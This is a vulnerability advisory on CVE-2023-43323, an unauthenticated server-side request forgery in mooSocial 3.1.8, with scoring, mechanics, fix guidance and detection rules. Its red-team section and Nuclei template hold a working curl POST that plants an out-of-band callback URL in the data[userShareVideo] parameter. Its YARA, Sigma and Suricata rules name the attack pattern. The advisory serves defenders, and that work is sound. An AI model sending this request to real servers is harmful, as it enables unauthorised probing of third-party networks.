CVE-2023-43323

Executive Summary

CVE-2023-43323 is a Server-Side Request Forgery (SSRF) vulnerability in mooSocial version 3.1.8. The vulnerability allows an unauthenticated attacker to force the server to make HTTP and DNS requests to an attacker-controlled external server. This is achieved by injecting a malicious URL into the data[userShareVideo] parameter during a POST request to the /activities/ajax_share endpoint. The impact is limited to information disclosure (leakage of internal network details) and low-level integrity compromise, as the attacker can interact with external services but cannot directly execute commands or modify data on the server. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the mooSocial web application, which is a commercial social networking platform. The application is not distributed via NPM, PyPI, Go, or Ruby registries. The risk is limited to organizations that have deployed mooSocial 3.1.8 on their own infrastructure. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – The attacker can observe DNS/HTTP interactions, potentially leaking internal IP addresses or service banners.
• Integrity Impact: Low (I:L) – The attacker can cause the server to send crafted requests, but cannot modify data on the server.
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit (no authentication required) and has a public PoC. However, the impact is limited to external service interaction, which may be used for reconnaissance or as a stepping stone for more severe attacks.

Deep Dive & Mechanics

The vulnerability resides in the ajax_share action of mooSocial 3.1.8. When a user submits a post via the /activities/ajax_share endpoint, the application processes several parameters, including data[userShareVideo]. The application does not properly validate or sanitize the URL provided in this parameter. As a result, an attacker can supply a URL pointing to an external server (e.g., http://attacker-controlled.com). When the server processes the post, it attempts to fetch or interact with the provided URL, causing an HTTP or DNS request to the attacker's server.

The vulnerable code path likely involves a function that retrieves video metadata or thumbnail from the provided URL. The application uses the user-supplied URL in a server-side request (e.g., file_get_contents() or curl_exec() in PHP) without checking if the URL is internal or external. This allows the attacker to force the server to make outbound requests.

Key Parameters:

• messageText
• data[wall_photo]
• data[userShareVideo]
• data[userShareLink]

The data[userShareVideo] parameter is the most straightforward to exploit, as it directly accepts a URL.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison cannot be made. However, a secure implementation would:

1. Validate the URL: Ensure the URL points to a known, trusted video provider (e.g., YouTube, Vimeo) using a whitelist.
2. Restrict outbound requests: Use a firewall or proxy to block requests to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
3. Use a timeout and limit redirects: Prevent the server from being tied up in long-running requests.
4. Sanitize input: Strip or encode any characters that could be used for injection.

Vulnerable Code (Conceptual PHP):

$videoUrl = $_POST['data']['userShareVideo'];
$videoData = file_get_contents($videoUrl); // No validation

Patched Code (Conceptual PHP):

$videoUrl = $_POST['data']['userShareVideo'];
if (filter_var($videoUrl, FILTER_VALIDATE_URL) && preg_match('/^(https?:\/\/)?(www\.)?(youtube\.com|vimeo\.com)\//', $videoUrl)) {
    $videoData = file_get_contents($videoUrl);
} else {
    // Reject or sanitize
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of mooSocial 3.1.8.
• An attacker-controlled server with a public IP or DNS name (e.g., using interactsh or a custom domain).
• Ability to send HTTP POST requests (e.g., using curl, Burp Suite, or a custom script).

Exploitation Steps:

1. Set up a listener: Use a tool like interactsh-client or a simple HTTP server to capture incoming requests.

   interactsh-client
   

   Note the generated URL (e.g., http://abc123.oastify.com).

2. Send the malicious POST request:

   curl -X POST http://target.com/activities/ajax_share \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "data%5Btype%5D=User&data%5Btarget_id%5D=0&data%5Baction%5D=wall_post&data%5Bwall_photo%5D=&data%5Bsubject_type%5D=&messageText=asas&data%5BuserShareLink%5D=&data%5BuserShareVideo%5D=http://abc123.oastify.com%2F%3Fnull&data%5BuserTagging%5D=&data%5BshareImage%5D=1&data%5Bprivacy%5D=1"
   

3. Verify interaction: Check your listener for incoming HTTP or DNS requests. If you see a request from the target server, the vulnerability is confirmed.

Nuclei Template Usage: The provided Nuclei template automates the detection. Run it with:

nuclei -t CVE-2023-43323.yaml -u http://target.com

Blue Team

Detection:

• Monitor outbound HTTP/DNS requests from the web server to unknown or suspicious domains.
• Look for POST requests to /activities/ajax_share with parameters containing external URLs.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Mitigation:

• Apply a virtual patch using a WAF (e.g., ModSecurity) to block requests containing external URLs in the data[userShareVideo] parameter.
• Restrict outbound traffic from the web server using a firewall (allow only necessary destinations).
• Upgrade to a patched version if/when available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP/DNS requests to attacker-controlled domains from the mooSocial server.
  • POST requests to /activities/ajax_share with data[userShareVideo] containing an external URL.
• File IOCs:
  • Log entries in the web server access log showing the malicious POST request.
  • PHP error logs may show warnings related to file_get_contents() or curl_exec() failures.
• Behavioral IOCs:
  • Unusual outbound connections from the web server to unknown IPs or domains.
  • Increased DNS queries for non-standard domains.

Detection Engineering

YARA Rule

rule CVE_2023_43323_mooSocial_SSRF {
    meta:
        description = "Detects exploitation attempts of CVE-2023-43323 in mooSocial 3.1.8"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-43323"
        severity = "medium"
    strings:
        $s1 = "activities/ajax_share" ascii wide nocase
        $s2 = "data[userShareVideo]" ascii wide nocase
        $s3 = "http://" ascii wide
        $s4 = "https://" ascii wide
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2023-43323 - mooSocial SSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to /activities/ajax_share with external URLs in the data[userShareVideo] parameter.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43323
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/activities/ajax_share'
        cs-uri-query|contains: 'data%5BuserShareVideo%5D=http'
    condition: selection
falsepositives:
    - Legitimate use of external video URLs (e.g., YouTube) if the application is designed to accept them.
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-43323 - mooSocial SSRF Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/activities/ajax_share"; http_uri; content:"data%5BuserShareVideo%5D"; http_client_body; pcre:"/data%5BuserShareVideo%5D=http(s)?:\/\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-43323

info:
  name: mooSocial 3.1.8 - External Service Interaction
  author: ritikchaddha
  severity: medium
  description: |
    mooSocial 3.1.8 is vulnerable to external service interaction via multiple parameters in the post function.
  impact: |
    An attacker can exploit this vulnerability to interact with external services.
  remediation: |
    Upgrade to a patched version of mooSocial to mitigate CVE-2023-43323.
  reference:
    - https://github.com/ahrixia/CVE-2023-43323
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43323
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-43323
    epss-score: 0.80804
    epss-percentile: 0.99152
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: moosocial
    product: moostore
    shodan-query: http.favicon.hash:702863115clear
    fofa-query:
      - mooSocial
      - moosocial
      - icon_hash="702863115"
  tags: cve,cve2023,moosocial,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "mooConfig"
        internal: true

  - raw:
      - |
        POST /activities/ajax_share HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        [data%5Btype%5D=User&data%5Btarget_id%5D=0&data%5Baction%5D=wall_post&data%5Bwall_photo%5D=&data%5Bsubject_type%5D=&messageText=asas&data%5BuserShareLink%5D=&data%5BuserShareVideo%5D=http://{{interactsh-url}}%2F%3Fnull&data%5BuserTagging%5D=&data%5BshareImage%5D=1&data%5Bprivacy%5D=1]

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
# digest: 4b0a00483046022100f0d9c93fd09eaf51331cea1613ff0298369c1b8302d0238cd6bb556c0d6235ad022100ed82ad9f444ebd0a5180bb8e7631d164aa2d8a3ac81803e66100a6ab792c39ec:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Apply a WAF rule to block POST requests to /activities/ajax_share containing data[userShareVideo] with an external URL.
2. Restrict outbound traffic from the web server using a firewall. Allow only necessary destinations (e.g., specific CDNs, update servers).
3. Monitor logs for exploitation attempts using the provided Sigma and Suricata rules.

Long-term Fix:

• Upgrade to a patched version of mooSocial if/when the vendor releases one.
• Implement input validation in the application code to only allow URLs from trusted domains.
• Use a URL parser to validate the scheme and host, and reject any requests to private IP ranges.

Workaround:

• Disable the video sharing feature if not essential, or modify the PHP code to comment out the vulnerable function.

Valters IT

{/* [Security Hash: F1B8ECE354D3C731261EE470] */}